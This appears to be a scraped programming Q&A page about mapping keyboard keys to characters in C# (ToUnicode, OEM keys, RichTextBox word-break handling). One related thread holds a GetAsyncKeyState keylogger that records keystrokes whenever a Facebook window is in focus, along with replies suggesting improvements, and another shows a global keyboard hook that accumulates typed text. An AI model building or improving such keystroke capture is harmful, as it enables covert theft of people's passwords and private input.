Detect single quote key on KeyDown event - c#

I want a TextBox to only accept some specific characters by using the KeyDown event. I've already got it working, except for one character, the single quote. To get the character that will be written I use (char)e.KeyValue which works for all the characters except the quote (it gives Û). I know I could just use e.KeyCode but it's value is Keys.Oem4, which AFAIK might be different across systems.
Is there any way of consistently detecting a single quote key press?
Code snippet:
char c = (char)e.KeyValue;
char[] moves = { 'r', 'u', ..., '\'' };
if (!(moves.Contains(c) || e.KeyCode == Keys.Back || e.KeyCode == Keys.Space))
{
e.SuppressKeyPress = true;
}

I have been using this for a long time. It handles single quotes just fine. e.KeyChar == 39 '\'' and e.Handled = true behaves exactly as you would expect. I tested it with the KeyPress event and works there too.
protected override void OnKeyPress(KeyPressEventArgs e)
{
base.OnKeyPress(e);
if (e.KeyChar == (char)8) // backspace
return;
if (e.KeyChar == (char)3) // ctrl + c
return;
if (e.KeyChar == (char)22) // ctrl + v
return;
typedkey = true;
if (_allowedCharacters.Count > 0) // if the string of allowed characters is not empty, skip test if empty
{
if (!_allowedCharacters.Contains(e.KeyChar)) // if the new character is not in allowed set,
{
e.Handled = true; // ignoring it
return;
}
}
if (_disallowedCharacters.Count > 0) // if the string of allowed characters is not empty, skip test if empty
{
if (_disallowedCharacters.Contains(e.KeyChar)) // if the new character is in disallowed set,
{
e.Handled = true; // ignoring it
return;
}
}
}

As #EdPlunkett suggested, this answer works for me:
[DllImport("user32.dll")]
static extern bool GetKeyboardState(byte[] lpKeyState);
[DllImport("user32.dll")]
static extern uint MapVirtualKey(uint uCode, uint uMapType);
[DllImport("user32.dll")]
static extern IntPtr GetKeyboardLayout(uint idThread);
[DllImport("user32.dll")]
static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
public static string KeyCodeToUnicode(System.Windows.Forms.Keys key)
{
byte[] keyboardState = new byte[255];
bool keyboardStateStatus = GetKeyboardState(keyboardState);
if (!keyboardStateStatus)
{
return "";
}
uint virtualKeyCode = (uint)key;
uint scanCode = MapVirtualKey(virtualKeyCode, 0);
IntPtr inputLocaleIdentifier = GetKeyboardLayout(0);
StringBuilder result = new StringBuilder();
ToUnicodeEx(virtualKeyCode, scanCode, keyboardState, result, (int)5, (uint)0, inputLocaleIdentifier);
return result.ToString();
}

Related

GetAsyncKeyState not capturing keys in right order

I Have the below code which captures key strokes if the Active Window Title contains "Facebook", however, when testing... i'm not getting the exact order of keys pressed and some keys get missed... what can i do to improve upon this?
For example: if i type "ALI" i will get "AIL" Printed out
[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll")]
static extern int GetWindowText(IntPtr hWnd, StringBuilder text, int count);
static void Main(string[] args)
{
while (true)
{
string WindowTitle = GetActiveWindowTitle();
if (WindowTitle == null)
return;
if (WindowTitle.Contains("Facebook"))
{
for (int i = 0; i < 255; i++)
{
int state = GetAsyncKeyState(i);
if (state == 1 || state == -32767)
{
Console.WriteLine((Keys)i);
}
}
}
Thread.Sleep(1000);
}
}
private static string GetActiveWindowTitle()
{
const int chars = 256;
StringBuilder buff = new StringBuilder(chars);
IntPtr handle = GetForegroundWindow();
if (GetWindowText(handle, buff, chars) > 0)
{
return buff.ToString();
}
return null;
}
Reduce interval from 1s to 5ms for starters... Thread.Sleep(5);
And even with that,when you start typing really fast,keystrokes will still get permuted and\or missing,I'm not qualified enough to explain why. Btw,your intention is way too obvious,that's why nobody wants to answer your question.
Change these:
[DllImport("user32.dll")]
public static extern ushort GetAsyncKeyState(Int32 i);
and
if ((state & 0x0001) != 0 || (state & 0x8000) != 0 )
{
Console.WriteLine((Keys)i);
}
but unsure if it is going to work?

Detected pressed key for current language layout c#

I'm trying to get text which user type from keyboard. Everything seems working fine when I have English Keyboard Layout, bus when I change it into russian it does not work. I have used
private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
{
int vkCode = Marshal.ReadInt32(lParam);
if ((Keys)vkCode == Keys.Enter || (Keys)vkCode == Keys.Tab || (Keys)vkCode == Keys.LButton || (Keys)vkCode == Keys.RButton)
WriteNewLine(_text);
else
if (ShiftKey)
_text += GetCharsFromKeys((Keys)vkCode, true, false);
else
_text += GetCharsFromKeys((Keys)vkCode, false, false);
}
return CallNextHookEx(_hookID, nCode, wParam, lParam);
}
This function gets key code. As you can see I call next function
static string GetCharsFromKeys(Keys keys, bool shift, bool altGr)
{
var buf = new StringBuilder(256);
var keyboardState = new byte[256];
if (shift)
keyboardState[(int)Keys.ShiftKey] = 0xff;
if (altGr)
{
keyboardState[(int)Keys.ControlKey] = 0xff;
keyboardState[(int)Keys.Menu] = 0xff;
}
ToUnicode((uint)keys, 0, keyboardState, buf, 256, 0);
return buf.ToString();
}
It returns actual key what user type. But it work only for ENG keyboard layout.
If you know how to add International keyboard layout handling, pls let me know.
P.S. When I enter :
Руский
I get :
Hecrbq
You need to use InstalledInputLanguages and CurrentInputLanguage. There is an example here that you can follow. I will copy the code here in case the link dies. This code is looking to recognize # symbol entry in the European keyboard so you would need to tweak it to meet your needs.
DllImport("user32.dll")]
public static extern short VkKeyScanEx(char ch, IntPtr dwhkl);
public static void GetKeyboardShortcutForChar(char c, InputLanguage lang, out Keys key, out bool shift)
{
var keyCode = VkKeyScanEx(c, lang.Handle);
key = (Keys) (keyCode & 0xFF);
shift = (keyCode & 0x100) == 0x100;
}
[DllImport("user32.dll", CharSet = CharSet.Unicode)]
public static extern int ToUnicodeEx(int wVirtKey, uint wScanCode, byte[] lpKeyState, StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);
public static char? FromKeys(int keys, bool shift, bool capsLock)
{
var keyStates = new byte[256];
if (shift)
keyStates[16] = 0x80;
if (capsLock)
keyStates[20] = 0x80;
var sb = new StringBuilder(10);
int ret = User32.ToUnicodeEx(keys, 0, keyStates, sb, sb.Capacity, 0, InputLanguage.CurrentInputLanguage.Handle);
return ret == 1 ? (char?)sb[0] : null;
}

How to detect when (forward) slash key is pressed in OEM keys C#

I'm working on wpf c# application and I need to detect when user press "/" but I'm having trouble with finding " / " e.Key, I saw there is Key.OemBackslash and stuffs like that, but I can't find right event for " / " (forward slash) ...
Thanks guys,
Cheers
It should be Key.OemQuestion on a US keyboard. But on a Swedish keyboard it is D7 so it depends. The keys on the keyboard doesn't always produce the same character.
Depending on what you are trying to do you may be better off handling the PreviewTextInput event:
protected override void OnPreviewTextInput(TextCompositionEventArgs e)
{
base.OnPreviewTextInput(e);
if (e.Text == "/")
{
Debug.WriteLine("...");
}
}
You can the following methods (see this site) to get the character from the key.
protected override void OnPreviewKeyDown(KeyEventArgs e)
{
bool toUnicodeIsTrue=false;
char t = GetCharFromKey(e.Key, ref toUnicodeIsTrue);
if ( t == '/')
{
// do stuff
}
base.OnPreviewKeyDown(e);
}
public static char GetCharFromKey(System.Windows.Input.Key key, ref bool toUnicodeIsTrue)
{
toUnicodeIsTrue = true;
char ch = ' ';
// First, you need to get the VirtualKey code. Thankfully, there’s a simple class
// called KeyInterop, which exposes a static method VirtualKeyFromKey
// that gets us this information
int virtualKey = System.Windows.Input.KeyInterop.VirtualKeyFromKey(key);
//Then, we need to get the character. This is much trickier.
//First we have to get the keyboard state and then we have to map that VirtualKey
//we got in the first step to a ScanCode, and finally, convert all of that to Unicode,
//because .Net doesn’t really speak ASCII
byte[] keyboardState = new byte[256];
GetKeyboardState(keyboardState);
uint scanCode = MapVirtualKey((uint)virtualKey, MapType.MAPVK_VK_TO_VSC);
StringBuilder stringBuilder = new StringBuilder(2);
int result = ToUnicode((uint)virtualKey, scanCode, keyboardState, stringBuilder, stringBuilder.Capacity, 0);
switch (result)
{
case -1:
toUnicodeIsTrue = false;
break;
case 0:
toUnicodeIsTrue = false;
break;
case 1:
{
ch = stringBuilder[0];
break;
}
default:
{
ch = stringBuilder[0];
break;
}
}
return ch;
}
[System.Runtime.InteropServices.DllImport("user32.dll")]
public static extern bool GetKeyboardState(byte[] lpKeyState);
[System.Runtime.InteropServices.DllImport("user32.dll")]
public static extern uint MapVirtualKey(uint uCode, MapType uMapType);
public enum MapType : uint
{
MAPVK_VK_TO_VSC = 0x0,
MAPVK_VSC_TO_VK = 0x1,
MAPVK_VK_TO_CHAR = 0x2,
MAPVK_VSC_TO_VK_EX = 0x3,
}
[System.Runtime.InteropServices.DllImport("user32.dll")]
public static extern int ToUnicode(
uint wVirtKey,
uint wScanCode,
byte[] lpKeyState,
[System.Runtime.InteropServices.Out, System.Runtime.InteropServices.MarshalAs(System.Runtime.InteropServices.UnmanagedType.LPWStr, SizeParamIndex = 4)]
StringBuilder pwszBuff,
int cchBuff,
uint wFlags);
}
My old Answer:
protected override void OnPreviewKeyDown(KeyEventArgs e)
{ //***
if (e.Key == Key.Oem2)
{
// do stuff
}
base.OnPreviewKeyDown(e);
}
Note that the name starts with "oem" (Original Equipment Manufacturer), which means the keyboard manufacturer is responsible for its functionality and it varies in local keyboards. So, you can set a break point in
{//***
line of my code and check e.Key property.

Convert c# Keys to string [duplicate]

If I know that a certain key has been pressed (eg Key.D3), and that the Shift key is also down (Keyboard.IsKeyDown(Key.LeftShift) || Keyboard.IsKeyDown(Key.RightShift)), how can I find out what character that refers to (eg, # on US keyboard, UK pound sign on UK keyboard, etc)?
Put another way, how can I find out, programatically, that Shift + 3 produces # (it wouldn't on a non-US keyboard).
If you want to determine what character you will get from a given key with given modifiers, you should use the user32 ToAscii function. Or ToAsciiEx if you want to use a keyboard layout other then the current one.
using System.Runtime.InteropServices;
public static class User32Interop
{
public static char ToAscii(Keys key, Keys modifiers)
{
var outputBuilder = new StringBuilder(2);
int result = ToAscii((uint)key, 0, GetKeyState(modifiers),
outputBuilder, 0);
if (result == 1)
return outputBuilder[0];
else
throw new Exception("Invalid key");
}
private const byte HighBit = 0x80;
private static byte[] GetKeyState(Keys modifiers)
{
var keyState = new byte[256];
foreach (Keys key in Enum.GetValues(typeof(Keys)))
{
if ((modifiers & key) == key)
{
keyState[(int)key] = HighBit;
}
}
return keyState;
}
[DllImport("user32.dll")]
private static extern int ToAscii(uint uVirtKey, uint uScanCode,
byte[] lpKeyState,
[Out] StringBuilder lpChar,
uint uFlags);
}
You can now use it like this:
char c = User32Interop.ToAscii(Keys.D3, Keys.ShiftKey); // = '#'
If you need more than one modifier, just or them. Keys.ShiftKey | Keys.AltKey

Suppress line break in a RichTextBox at certain positions

I need to suppress some linebreaks in a RichTextBox.
For example, consider d6+. There must not be a line break between 6 and +. Basically I'm looking for something like <nobr> in HTML.
So far, I've messed around with inserting \u+FEFF etc (which worked on some machines, but some showed vertical lines, maybe a font problem although windows standard font). I also tried to manipulate the rtf directly, i.e. box.rtf = ... with putting some \zwnbo in there, but I never seem to get it right.
Help much appreciated.
Yes, you can use all of the RichText API with your RichTextBox control.
You may be interested take a look at the following sites:
http://www.pinvoke.net/default.aspx/user32.sendmessage - how to send messages to windows using p/invoke.
You can use the Handle property of the RichTextBox to get the window handle of that control, and then send messages to it.
Also look at these include files shiped with SDK from Microsoft, thaty are not going to be used directly in C#, but these files constains all constants you may have to use, such as WB_ISDELIMITER, WB_CLASSIFY and others.
winuser.h
richedit.h
In the following example I
demonstrate how to use the APIs
provided.
EDIT:
This new sample has code marked as unsafe, but it is better because it does not suffer from the problem of single character string, since I can have a char* parameter and manipulate it. The old sample follows this one:
This is C# code, not C++... to compile it you will have to go to project options and mark the check-box to allow unsafe code to run.
Right click the project -> Properties (Alt+Enter) -> Build -> General -> Allow unsafe code (must be checked)
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace q6359774
{
class MyRichTextBox : RichTextBox
{
const int EM_SETWORDBREAKPROC = 0x00D0;
const int EM_GETWORDBREAKPROC = 0x00D1;
protected override void OnHandleCreated(EventArgs e)
{
base.OnHandleCreated(e);
this.Text = "abcdefghijklmnopqrstuvwxyz-abcdefghijklmnopqrstuvwxyz";
NewMethod();
}
unsafe private void NewMethod()
{
if (!this.DesignMode)
SendMessage(this.Handle, EM_SETWORDBREAKPROC, IntPtr.Zero, Marshal.GetFunctionPointerForDelegate(new EditWordBreakProc(MyEditWordBreakProc)));
}
[DllImport("User32.DLL")]
public static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
unsafe delegate int EditWordBreakProc(char* lpch, int ichCurrent, int cch, int code);
unsafe int MyEditWordBreakProc(char* lpch, int ichCurrent, int cch, int code)
{
const int WB_ISDELIMITER = 2;
const int WB_CLASSIFY = 3;
if (code == WB_ISDELIMITER)
{
char ch = *lpch;
return ch == '-' ? 0 : 1;
}
else if (code == WB_CLASSIFY)
{
char ch = *lpch;
var vResult = Char.GetUnicodeCategory(ch);
return (int)vResult;
}
else
{
var lpch2 = lpch;
// in this case, we must find the begining of a word:
for (int it = ichCurrent; it < cch; it++)
{
char ch = *lpch2;
if (it + 1 < cch && lpch2[0] == '-' && lpch2[1] != '-')
return it;
if (lpch2[0] == '\0')
return 0;
lpch2++;
}
}
return 0;
}
}
}
Old Sample Code
The sample consists of a class that inherits from RichTextBox and places a custom handler using EM_SETWORDBREAKPROC. This class will only break lines exactly when over '-' character. Not before, nor after.
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
namespace q6359774
{
class MyRichTextBox : RichTextBox
{
const int EM_SETWORDBREAKPROC = 0x00D0;
const int EM_GETWORDBREAKPROC = 0x00D1;
protected override void OnHandleCreated(EventArgs e)
{
base.OnHandleCreated(e);
this.Text = "abcdefghijklmnopqrstuvwxyz-abcdefghijklmnopqrstuvwxyz";
if (!this.DesignMode)
SendMessage(this.Handle, EM_SETWORDBREAKPROC, IntPtr.Zero, Marshal.GetFunctionPointerForDelegate(new EditWordBreakProc(MyEditWordBreakProc)));
}
[DllImport("User32.DLL")]
public static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
delegate int EditWordBreakProc(string lpch, int ichCurrent, int cch, int code);
int MyEditWordBreakProc(string lpch, int ichCurrent, int cch, int code)
{
const int WB_ISDELIMITER = 2;
const int WB_CLASSIFY = 3;
if (code == WB_ISDELIMITER)
{
if (lpch.Length == 0 || lpch == null) return 0;
char ch = lpch[ichCurrent];
return ch == '-' ? 0 : 1;
}
else if (code == WB_CLASSIFY)
{
if (lpch.Length == 0 || lpch == null) return 0;
char ch = lpch[ichCurrent];
var vResult = Char.GetUnicodeCategory(ch);
return (int)vResult;
}
else
{
if (lpch.Length == 0 || lpch == null) return 0;
for (int it = ichCurrent; it < lpch.Length; it++)
{
char ch = lpch[it];
if (ch != '-') return it;
}
}
return 0;
}
}
}
It is just a draft, so you may have to further improve it, so you can achieve your goals.
Place the control in a windows form, and run.
Resize the window and see if this is what you want to do!
You will have to make the seeking of word boundaries... I didn't manage to make it work yet.
I'm not sure, but if RichTextBox is actually wrapping a Windows rich edit control, you might have some luck by reading this:
http://msdn.microsoft.com/en-us/library/hh270412%28v=vs.85%29.aspx
Or more specifically this:
http://msdn.microsoft.com/en-us/library/bb787877%28v=vs.85%29.aspx
I hope this helps.
Here's my solution (based on #Miguel Angelo, but modified and corrected a bit):
using System;
using System.Collections.Generic;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
namespace MyNameSpace
{
public class SpaceBreakingRichTextBox : RichTextBox
{
const int EM_SETWORDBREAKPROC = 0x00D0;
const int EM_GETWORDBREAKPROC = 0x00D1;
protected override void OnHandleCreated(EventArgs e)
{
base.OnHandleCreated(e);
AddDelegate();
}
[DllImport("User32.DLL")]
public static extern IntPtr SendMessage(IntPtr hWnd, UInt32 Msg, IntPtr wParam, IntPtr lParam);
unsafe delegate int EditWordBreakProc(char* lpch, int ichCurrent, int cch, int code);
EditWordBreakProc myDelegate;
unsafe private void AddDelegate()
{
if (!this.DesignMode)
{
myDelegate = new EditWordBreakProc(MyEditWordBreakProc);
SendMessage(this.Handle, EM_SETWORDBREAKPROC, IntPtr.Zero, Marshal.GetFunctionPointerForDelegate(myDelegate));
}
}
unsafe int MyEditWordBreakProc(char* lpch, int ichCurrent, int cch, int code)
{
const int WB_ISDELIMITER = 2;
const int WB_CLASSIFY = 3;
const int WB_MOVEWORDLEFT = 4;
const int WB_MOVEWORDRIGHT = 5;
const int WB_LEFTBREAK = 6;
const int WB_RIGHTBREAK = 7;
const int WB_LEFT = 0;
const int WB_RIGHT = 1;
if (code == WB_ISDELIMITER)
{
char ch = *lpch;
return ch == ' ' ? 1 : 0;
}
else if (code == WB_CLASSIFY)
{
char ch = *lpch;
var vResult = Char.GetUnicodeCategory(ch);
return (int)vResult;
}
else if (code == WB_LEFTBREAK)
{
for (int it = ichCurrent; it >= 0; it--)
{
if (lpch[it] == ' '/* && lpch2[1] != ' '*/)
{
if (it > 0 && lpch[it - 1] != ' ')
return it;
}
}
}
else if (code == WB_RIGHT)
{
for (int it = ichCurrent; ; it++)
{
if (lpch[it] != ' ')
return it;
}
}
else
{
// There might be more cases to handle (see constants)
}
return 0;
}
}
}
Note that you need to keep the delegate method around, or it will crash as it gets collected from the garbage collector (which was a pain to debug).
Basically, this subclass only breaks at spaces, which is good enough for my needs at the moment.
I've quickly tried this, it seems to work:
this.userControl.richTextBox1.LoadFile("C:\\test.rtf");
this.userControl.richTextBox1.Rtf = this.userControl.richTextBox1.Rtf.Replace(#"\par", String.Empty);
this.userControl.richTextBox1.SaveFile("C:\\test2.rtf", RichTextBoxStreamType.RichText);

Categories

Resources